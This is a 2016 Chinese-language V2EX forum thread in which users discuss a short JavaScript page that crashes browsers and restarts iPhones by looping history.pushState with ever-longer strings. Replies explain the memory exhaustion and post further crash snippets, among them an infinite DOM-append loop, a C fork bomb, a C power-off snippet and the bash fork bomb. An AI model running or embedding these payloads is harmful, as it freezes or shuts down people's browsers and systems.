V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
推荐关注
Meteor
JSLint - a JavaScript code quality tool
jsFiddle
D3.js
WebStorm
推荐书目
JavaScript 权威指南第 5 版
Closure: The Definitive Guide
zhanglangipis
V2EX  ›  JavaScript

12 行 javascript 代码能让浏览器崩溃 iPhone 自动重启

  •  
  •   zhanglangipis · 2016-01-28 13:09:47 +08:00 · 5246 次点击
    这是一个创建于 3009 天前的主题,其中的信息可能已经有所发展或是发生改变。

    RT 昨天在网上看到的这样几行 JavaScript 代码,觉得很神奇啊,有没有大神解释一下。

    完整 HTML 代码如下:
    <html>
    <body>
    <script>
    var total="";
    for (var i=0;i<1000000;i++)
    {
    total= total+i.toString ();
    history.pushState (0,0,total);
    }
    </script>
    </body>
    </html>

    慎点: http://www.ipis.com.cn/tetst.html

    27 条回复    2016-01-29 11:59:12 +08:00
    mytsing520
        1
    mytsing520  
       2016-01-28 13:16:14 +08:00
    执行 100W 次呗
    leeyuzhe
        2
    leeyuzhe  
       2016-01-28 13:19:05 +08:00
    不断的把越来越长的字符串添加到历史记录里,浏览器占用内存也越来越大,就卡死了呗
    xuewl
        3
    xuewl  
       2016-01-28 13:29:23 +08:00
    @leeyuzhe 正解
    aivier
        4
    aivier  
       2016-01-28 13:42:20 +08:00
    听说三行代码搞崩浏览器?



    while(true) {
    document.appendChild(document.createElement("div"));
    }
    aivier
        5
    aivier  
       2016-01-28 13:45:10 +08:00
    @aivier 手误了,

    while(true) {
    document.body.appendChild(document.createElement("div"));
    }
    huoshanhui
        6
    huoshanhui  
       2016-01-28 13:52:34 +08:00
    Mac 下实测, CPU 飙升,温度飙升, chrome 卡死。
    jworg
        7
    jworg  
       2016-01-28 13:56:06 +08:00 via Android
    Khlieb
        8
    Khlieb  
       2016-01-28 14:05:34 +08:00 via Android
    Firefox 直接提示脚本正忙
    Kilerd
        9
    Kilerd  
       2016-01-28 14:13:06 +08:00
    Chrome 使用了 3.5G 内存,然后内存爆表,然后 Chrome 自动重启
    bramblex
        10
    bramblex  
       2016-01-28 14:24:30 +08:00
    @Kilerd
    活捉 /w\
    Ansen
        11
    Ansen  
       2016-01-28 14:39:49 +08:00
    已把网址设置为书签,以后不用按两个键去重启了~
    c0878
        12
    c0878  
       2016-01-28 15:10:31 +08:00
    chrome 才吃了 2G 多内存就崩溃了 没劲
    luban
        13
    luban  
       2016-01-28 15:16:01 +08:00
    chrome 内存 3400M 后死掉重启,
    Kilerd
        14
    Kilerd  
       2016-01-28 15:16:36 +08:00
    @bramblex 噢? 怎么又活抓我了。
    typcn
        15
    typcn  
       2016-01-28 15:19:26 +08:00
    1 行 C 代码能让操作系统内核崩溃
    RT 昨天在网上看到的这样 1 行 C 代码,觉得很神奇啊,有没有大神解释一下。

    完整 C 代码如下:
    while(true){ fork() }


    2 行 C 代码能让操作系统重启
    RT 昨天在网上看到的这样 2 行 C 代码,觉得很神奇啊,有没有大神解释一下。

    完整 C 代码如下:
    setuid(0);
    reboot(RB_POWER_OFF);
    newbieo0O
        16
    newbieo0O  
       2016-01-28 15:20:53 +08:00
    @aivier 还要 create ,何不直接 append body
    newbieo0O
        17
    newbieo0O  
       2016-01-28 15:21:29 +08:00
    @aivier 看错了。抱歉
    guyskk
        18
    guyskk  
       2016-01-28 15:38:51 +08:00
    _='_';while(_=_+_){history.pushState(0,0,_)}
    dikT
        19
    dikT  
       2016-01-28 15:47:40 +08:00
    _='_';while(_+=_){history.pushState(0,0,_)}
    dikT
        20
    dikT  
       2016-01-28 15:48:13 +08:00
    HadesYang
        21
    HadesYang  
       2016-01-28 16:50:02 +08:00
    这有啥好试的,搞个循环吃内存嘛
    KiriGiri
        22
    KiriGiri  
       2016-01-28 16:56:46 +08:00



    Edge 浏览器, 20s 内运行完,内存占用不超过 100M 。
    just1
        23
    just1  
       2016-01-28 17:00:05 +08:00 via Android
    @KiriGiri edge 本来就不支持该函数
    gimp
        24
    gimp  
       2016-01-28 17:26:58 +08:00
    是时候 @一下 fork 炸弹了

    :(){ :|:& };:
    BOYPT
        25
    BOYPT  
       2016-01-28 17:29:54 +08:00
    @just1 http://caniuse.com/#search=pushstate
    支持的
    只是 edge 的实现没有 webkit 系那么耗资源, 1000000 次跑完了。
    zander
        26
    zander  
       2016-01-28 17:40:02 +08:00
    zhpech
        27
    zhpech  
       2016-01-29 11:59:12 +08:00
    @BOYPT 好像微软家要在 head 里做特殊处理才支持?
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1252 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 31ms · UTC 23:27 · PVG 07:27 · LAX 16:27 · JFK 19:27
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.